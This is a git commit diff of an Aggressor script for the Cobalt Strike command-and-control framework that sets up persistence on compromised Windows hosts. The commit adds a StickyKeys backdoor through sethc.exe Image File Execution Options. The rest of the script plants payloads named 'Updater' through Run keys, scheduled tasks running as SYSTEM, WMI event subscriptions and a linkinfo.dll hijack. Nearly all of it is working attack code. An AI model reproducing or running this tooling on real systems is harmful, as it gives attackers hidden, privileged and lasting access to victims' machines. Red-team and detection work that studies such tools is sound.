Version 3.1 modifications by @andrewchiles, Added linkinfo.dll hijack of explorer.exe user-level persistence, Added sethc.exe (StickyKeys) Debugger key system-level persistence, Modified persistence via encoded powershell commands instead of the previous Scripted Web Delivery method. This reduces the level of staging that occurs over the network, General code cleanup (use of new aggressor built-ins, removed unneccessary conditional statements, added quotes to allow modification of registry keys with spaces in the name, etc )
parent
d8aaae8fd2
commit
a0b9d6a194
207
persistence.cna
207
persistence.cna
|
@ -1,16 +1,9 @@
|
|||
# Added linkinfo.dll hijack
|
||||
# Added persistence via encoded powershell commands
|
||||
# To do: Check if this is a 64bit system and alert that file and registry changes may end up in SYSWOW64
|
||||
# Add fileless persistence via registry only
|
||||
|
||||
##################################
|
||||
### Aggressor Persistence v3.1 ###
|
||||
### By: Tyler Rosonke ###
|
||||
### zonksec.com ###
|
||||
##################################
|
||||
|
||||
global('$x64');
|
||||
|
||||
alias persistence {
|
||||
|
||||
########### Add Menu #############
|
||||
|
@ -49,8 +42,11 @@ alias persistence {
|
|||
else if ($3 eq "linkinfo") {
|
||||
addLinkinfo($1);
|
||||
}
|
||||
else if ($3 eq "StickyKeys") {
|
||||
addStickyKeys($1);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify RegKeyRun, SchTasks, WMI, or linkinfo.");
|
||||
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -87,12 +83,15 @@ alias persistence {
|
|||
berror($1, "Specifiy OnStart or Daily.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify RegKeyRun, SchTasks, or WMI.");
|
||||
}
|
||||
}
|
||||
else if ($3 eq "linkinfo") {
|
||||
else if ($3 eq "linkinfo") {
|
||||
remLinkinfo($1);
|
||||
}
|
||||
else if ($3 eq "StickyKeys") {
|
||||
remStickyKeys($1);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify Add or Remove.");
|
||||
|
@ -101,8 +100,9 @@ alias persistence {
|
|||
|
||||
########### Subroutines #############
|
||||
|
||||
# 64bit check not used elsewhere in the script yet
|
||||
sub checkX64 {
|
||||
if ($1 -is64) {
|
||||
if (-is64 $1) {
|
||||
binput($1, "You're on a 64bit host! Make sure you're running in a 64bit process or file and registry changes may end up in SYSWOW locations and fail to function as intended!");
|
||||
return true;
|
||||
}
|
||||
|
@ -117,7 +117,7 @@ sub uploadPSpayload {
|
|||
|
||||
$availableListeners = listeners();
|
||||
|
||||
# Skip listener selection if only 1 exists
|
||||
# Skip listener selection if only one exists
|
||||
if (size($availableListeners()) eq 1) {
|
||||
$listener = $availableListeners[0];
|
||||
binput($1, "Persisting listener: $listener");
|
||||
|
@ -157,12 +157,12 @@ sub isAdmin {
|
|||
}
|
||||
sub addRegKey
|
||||
{
|
||||
$powershell = "New-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
|
||||
$powershell = "New-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
|
||||
bpowershell($1, $powershell);
|
||||
}
|
||||
sub remRegKey
|
||||
{
|
||||
$powershell = "Remove-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName;
|
||||
$powershell = "Remove-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName;
|
||||
bpowershell($1, $powershell);
|
||||
}
|
||||
sub addRegKeyRun {
|
||||
|
@ -204,9 +204,9 @@ sub remRegKeyRun {
|
|||
$hive = "HKCU";
|
||||
}
|
||||
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
remRegKey($1,$keyName);
|
||||
remRegKey($1,$hive,$keyPath,$keyName);
|
||||
brm($1,$payloadPath);
|
||||
|
||||
}
|
||||
sub addSchTasksOnIdle {
|
||||
if ($5) {
|
||||
|
@ -250,8 +250,7 @@ sub remSchTasksOnIdle {
|
|||
}
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify number idle time.");
|
||||
|
@ -267,18 +266,15 @@ sub addSchTasksOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onstart";
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . ' /sc onstart /RU "NT AUTHORITY\SYSTEM" /RL HIGHEST';
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub remSchTasksOnStart {
|
||||
|
@ -291,19 +287,15 @@ sub remSchTasksOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub addSchTasksOnLogon {
|
||||
|
@ -316,18 +308,15 @@ sub addSchTasksOnLogon {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc ONLOGON";
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnLogon.")
|
||||
berror($1, "Admin is needed for SchTasks OnLogon.");
|
||||
}
|
||||
}
|
||||
sub remSchTasksOnLogon {
|
||||
|
@ -340,19 +329,15 @@ sub remSchTasksOnLogon {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub addSchTasksOnTime {
|
||||
|
@ -397,8 +382,7 @@ sub remSchTasksOnTime {
|
|||
}
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
|
||||
|
@ -414,19 +398,16 @@ sub addWMIOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
|
||||
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub remWMIOnStart {
|
||||
|
@ -439,19 +420,15 @@ sub remWMIOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub addWMIDaily {
|
||||
|
@ -464,19 +441,16 @@ sub addWMIDaily {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
|
||||
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub remWMIDaily {
|
||||
|
@ -489,19 +463,15 @@ sub remWMIDaily {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -527,15 +497,67 @@ sub remLinkinfo {
|
|||
# Remove dll hijack on explorer.exe
|
||||
if (isAdmin($1)) {
|
||||
binput($1, "[*] Removing linkinfo.dll persistence");
|
||||
bcd($1, 'c:\windows');
|
||||
$command = "del linkinfo.dll";
|
||||
bshell($1,$command);
|
||||
$payloadPath = "C:\windows\linkinfo.dll";
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack removal');
|
||||
}
|
||||
}
|
||||
|
||||
sub addStickyKeys {
|
||||
if (isAdmin($1)){
|
||||
if ($4) {
|
||||
$payloadName = $4;
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
else {
|
||||
$payloadName = "Updater";
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$hive = "HKLM";
|
||||
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
|
||||
|
||||
$powershellcmd = 'New-Item -Path "' . $hive . $keyPath . '" -Name sethc.exe -Force';
|
||||
bpowershell($1,$powershellcmd);
|
||||
|
||||
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
sub remStickyKeys {
|
||||
if (isAdmin($1)){
|
||||
if ($4) {
|
||||
$payloadName = $4;
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
else {
|
||||
$payloadName = "Updater";
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$hive = "HKLM";
|
||||
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
|
||||
remRegKey($1,$hive,$keyPath,$keyName);
|
||||
|
||||
brm($1,$payloadPath);
|
||||
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
##### Help Menu ######
|
||||
beacon_command_register(
|
||||
"persistence",
|
||||
|
@ -553,6 +575,7 @@ Available methods:
|
|||
*WMI OnStart <payload / task name>
|
||||
*WMI Daily <payload / task name>
|
||||
**linkinfo
|
||||
*StickyKeys <payload / key name>
|
||||
|
||||
* = method needs admin
|
||||
** = method need admin to install, but executes as USER
|
||||
|
|
Loading…
Reference in New Issue